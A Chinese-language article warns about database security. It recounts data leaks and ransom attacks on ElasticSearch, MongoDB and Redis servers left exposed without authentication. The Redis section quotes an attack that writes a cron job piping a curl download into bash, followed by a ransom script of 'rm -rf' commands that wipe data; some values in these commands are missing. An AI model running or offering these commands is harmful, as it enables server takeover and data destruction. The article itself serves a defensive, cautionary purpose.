有多少漏洞都會重來:從ElasticSearch到MongoDB和Redis

編者說明：在新年即將來臨，長假漸近的日子裡，一定不要忘了資料庫也需要關照，我們曾經總結過：資料庫的假期綜合症，本文整理了一些資料庫安全方面的案例，在新年前為大家再提一次醒。

在技術領域，週而復始發生的資料安全事件，往往都似曾相識。有多少漏洞，全都會在不同的產品身上重演一次，一個都不能少，似乎所有經驗都不曾被借鑑。

就拿初始化部署，初始化的口令和認證方式，往往都因為簡便而保留預設方式，當伺服器對公網開放時，這些系統就變成了完全不設防的主體，對著危險的黑暗森林發出『我在這裡』的呼喊。

後果就是，資料風行天下。我摘錄幾則案例，與大家分享，並且作為警示。當我們啟用一個資料庫時，務必銘記，不要保留任何預設設定。這是最基本的安全保證。

ElasticSearch 資料洩露案例

Elasticsearch 在全球資料庫流行度排行榜上位列第 8 位，是一個被廣泛使用的全文搜尋引擎，企業一般用它來實現資料索引和搜尋功能，但是由於部署或者企業運維上的重視缺乏，而導致的安全事故不絕於耳。

據2019年1月22日資訊，美國一家網上賭場集團洩露了超過 1.08 億筆投注資訊。

洩露的資訊包括：客戶個人資料，存取款記錄、家庭住址、電話號碼、電子郵件地址、出生日期、網站使用者名稱、帳戶餘額、IP 地址、瀏覽器、作業系統資訊、上次登入資訊和遊戲列表，甚至包含當前投注、獲勝、用於交易的銀行卡等詳細資訊。

值得慶幸的是，ElasticSearch 伺服器中交易銀行卡詳細資訊被部分加密，沒有公開完整財務細節；壞訊息是任何發現資料庫的人都會知道最近贏得大筆金錢的玩家姓名、家庭住址和電話號碼，並且可能已將這些作為詐騙或勒索的目標使用者。

該伺服器被安全研究員 Justin Paine 發現，資料洩露源頭是一個 ElasticSearch 伺服器，該伺服器沒有密碼保護，不需要身份驗證且很明顯資訊來源於線上投注入口網站。

而此前類似的安全事件，同樣言猶在耳：

2018 年 12 月份，巴西最大的訂閱電視服務商之一的 Sky Brasil 在沒有密碼的情況下將 ElasticSearch 伺服器暴露在網際網路上，其 3200 萬客戶資料在網上暴露了很長時間，儲存資料包括客戶姓名、電子郵件地址、密碼、付費電視包資料、客戶端 IP 地址、個人地址、付款方式、裝置型號等。

2018 年 11 月份，美國發生一起 ElasticSearch 伺服器在沒有密碼的開放狀態下洩露了將近 5700 萬美國民眾個人資訊的事件。共洩漏超過 73GB 資料，並且幾個資料庫被快取在伺服器記憶體中，其中一個資料庫包含的個人資訊就達到了 56,934,021 份。

2017 年，白帽匯曾對全球使用 ElasticSearch 引擎發生的勒索事件進行監測，最終發現因被攻擊而刪除的資料至少 500 億條，被刪除資料規模至少 450TB。網際網路上公開可訪問的 ElasticSearch 伺服器超過 68000 餘臺，受害總數達 9750 臺。此次事件後，1% 的 Elasticsearch 啟用了驗證外掛，另外有 2% 則關閉了 Elasticsearch。

注意到這些問題的共同原因，ElasticSearch Server 沒有密碼，這些事件應該成為大家的警示。不管處於內部還是外部，只要是資料所在，即為堡壘，就應該進行重點的安全加固和防範，防止資料洩露損毀。資料安全重於泰山。我們也不能因為資料能夠重構和可以恢復就放鬆警惕，因為資料洩露對企業和使用者帶來的傷害往往無法量度。

MongoDB資料洩露案例

MongoDB資料庫同樣存在類似的問題。在2019年年初，Twitter 上暴露出一則資料洩露事件：超 2 億中國使用者簡歷曝光。

近日，外網安全研究人員偶然發現一個沒有被很好保護的 MongoDB 資料庫伺服器，整個例項包含 854GB 資料，共有 202,730,434 條記錄，其中大部分是中國使用者簡歷，內容非常詳細，包括中文全名、家庭住址、電話號碼、電子郵件、婚煙狀況、政治關係、期望薪水等內容。

該資訊對整個網際網路開放，因此追蹤資訊來源幾乎是不可能的，但經過 Twitter 上一位使用者的努力，已確定大致來源為一個已經刪除的 GitHub 儲存庫，該儲存庫包含 Web 應用程式的原始碼，此應用程式具有與洩露資料庫中資料結構完全相同的資料，這清楚表明該程式應該是一個收集使用者簡歷的第三方應用。

據此使用者查證，該已刪除應用的簡歷主要來源之一是 bj.58.com ，當 Diachenko 與 bj.58.com 工作人員聯絡時，他們也給出了初步評估，確定資料來自第三方應用洩露，並非官方洩露。

而這並不是MongoDB的第一次，在2016年和2017年，針對MongoDB的大規模攻擊曾經就席捲而來：

2016年12月27日，安全專家兼GDI Foundation聯合創始人Victor Gevers 在Twitter上稱由於存在配置漏洞，可不透過任何認證直接訪問某些MongoDB資料庫，而駭客早已盯上了這些目標。

到 2017年1月3日，被駭客入侵的MongoDB資料庫例項這個數字達到了2，000以上。而僅在1月9日早間開始的12小時內，受到駭客勒索的資料庫就從12，000個翻倍達到了27，633之多。

儘管安全專家已經告誡眾多MongoDB資料庫使用者不要向駭客支付贖金（很多駭客並不會如宣稱的那樣保留了資料，多數情況是直接刪掉了），但已知仍有至少22個受害機構或個人繳納了贖金。

而早在2015年 Shodan（搜尋引擎）的負責人統計到有30，000個以上的MongoDB資料庫例項，近600TB的資料暴露於公網之上，無需任何認證就可訪問。很多版本滯後的資料庫配置檔案裡沒有做IP捆綁（bind_ip 127.0.0.1），在使用者不甚瞭解的時候留下了安全隱患。雖然MongoDB的開發團隊在下一個版本里修復了這個問題，但仍然有數量眾多的資料庫管理者沒來得及更新。

MongoDB 的安全事故原因和前面的 ElasticSearch 非常相似，主要原因就是因為使用者沒有遵照規範化安全部署，缺少安全認證，並且直接將伺服器暴露在公網裡。

Redis的資料洩露

在2017年和2018年，關於Redis的安全問題同樣大規模暴露出來。其安全原因和前面描述的如出一轍。

Redis 預設情況下，會繫結在 0.0.0.0:6379，這樣會將 Redis 服務暴露到公網上，在Redis伺服器沒有開啟認證的情況下，可以導致任意使用者在可以訪問目標伺服器的情況下成功在Redis 伺服器上寫入公鑰，進而可以使用對應私鑰直接登入目標伺服器進行遠端控制，獲得主機的完全控制權。

以下引自阿里雲的攻擊過程說明：

• 首先攻擊者透過事先的掃描踩點，發現了這些公網可訪問並且未設定密碼的機器

• 攻擊者嘗試連線這些機器，並且執行如下程式碼:

config set dir /var/spool/cron/

config set dbfilename root

config 1 */10 * * * * curl -s| bash

save

透過上述指令，將下載指令碼:
並將該指令碼寫入到計劃任務中，由計劃任務啟動執行。

該指令碼內容:

:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin

userdel -r redis

useradd -o -u  -g  redis  >/dev/null  passwd--stdin redis >/dev/null

rm -rf /root/*

rm -rf /home/*

rm -rf /opt/*

rm -rf /data/*

rm -rf /data*

mkdir -p /data -e  > /root/Warning.txt

chmod +x /root/Warning.txt

cp /root/Warning.txt /Warning.txt

cp /root/Warning.txt /data/Warning.txt -e

攻擊者要求傳送0.6個比特幣，否則將在24小時之內刪除資料備份。但是從這個指令碼中可以明顯看出，攻擊者根本沒有進行備份，即使被攻擊者給了錢，也是要不回資料的。

綜合以上的幾個安全事故告訴我們：

1. 資料安全重於一切，安全防護必不可少；

2. 安全需要點滴做起，如從密碼防護開始；

3. 備份是資料庫管理的首要任務有備無患；

4. 在初始建設時就著手進行安全加固防範；